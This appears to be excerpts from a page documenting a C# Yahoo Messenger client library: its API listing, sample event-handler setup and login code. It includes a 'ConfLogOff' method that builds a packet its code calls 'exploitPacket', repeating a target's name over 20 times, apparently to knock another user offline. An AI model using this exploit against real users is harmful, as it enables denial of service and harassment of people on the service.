...
public YahooClient() // defaults to keepAlive = true
public YahooClient(bool keepAlive)

public void LogIn(string server, int port)
public void LogOff()
public void Message(string receiptant, string message)

public void BuddyAdd(string buddy)
public void BuddyRemove(string buddy)
public void BuddyReject(string buddy, string message)

public void ChatJoin(string alias, string room, string roomId)
public void ChatLeave()
public void ChatMessage(string message)
 ....


--properties--

Username
Password
SessionId
RoomName

IsPagerConnected
IsChatConnected
IsKeepAlive
...


--events--

NotifyLogin
NotifyLogoff

NotifyOnline
NotifyOffline

NotifyTyping
NotifyMessage
NotifyStatusChange

NotifyChatRoomJoin
NotifyChatRoomCaptcha
NotifyChatRoomLeave
NotifyChatUserJoin
NotifyChatUserLeave
NotifyChatUserMessage
...

...
            _Client = new YahooClient();

            _Client.NotifyLogin += new YahooClient.OnLogin(Event_NotifyLogin);
            _Client.NotifyLogoff += new YahooClient.OnLogoff(Event_NotifyLogoff);
            _Client.NotifyMessage += new YahooClient.OnMessage(Event_NotifyMessage);
            _Client.NotifyOnline += new YahooClient.OnOnline(Event_NotifyOnline);
            _Client.NotifyOffline += new YahooClient.OnOffline(Event_NotifyOffline);
            
            _Client.NotifyChatRoomCaptcha += new YahooClient.OnChatRoomCaptcha(Event_ChatRoomCaptcha);
            _Client.NotifyChatRoomJoin += new YahooClient.OnChatRoomJoin(Event_ChatRoomJoin);
            _Client.NotifyChatUserMessage += new YahooClient.OnChatUserMessage(Event_ChatUserMessage);
            _Client.NotifyChatUserJoin += new YahooClient.OnChatUserJoin(Event_ChatUserJoin);
            _Client.NotifyChatUserLeave += new YahooClient.OnChatUserLeave(Event_ChatUserLeave);
            _Client.NotifyChatRoomLeave += new YahooClient.OnChatRoomLeave(Event_ChatRoomLeave);

            _Client.Username = ui_txtUsername.Text;
            _Client.Password = ui_txtPassword.Text;
            _Client.LogIn("scs.msg.yahoo.com", 5050);
...

        public void ConfLogOff(string receiptant)
        {
            SendPacket(ConfLogOff(receiptant).ToBytes());
        }
....

        public YahooPacket ConfLogOff(string receiptant)
        {
            YahooPacket exploitPacket = new YahooPacket((UInt16)YahooService.ConfLogon, _SessionId);
            exploitPacket.AddKey("1", _Username);
            exploitPacket.AddKey("3", receiptant);
            exploitPacket.AddKey("57", "0");
            for (int index = 1; index <= 20; index++)
            {
                exploitPacket.AddKey("3", receiptant);
            }
            return exploitPacket;
        }

privatevoid ui_btnDeny_Click(object sender, EventArgs e)
{
_Client.BuddyReject(ui_txtBuddy.Text, ui_txtMessage.Text);
}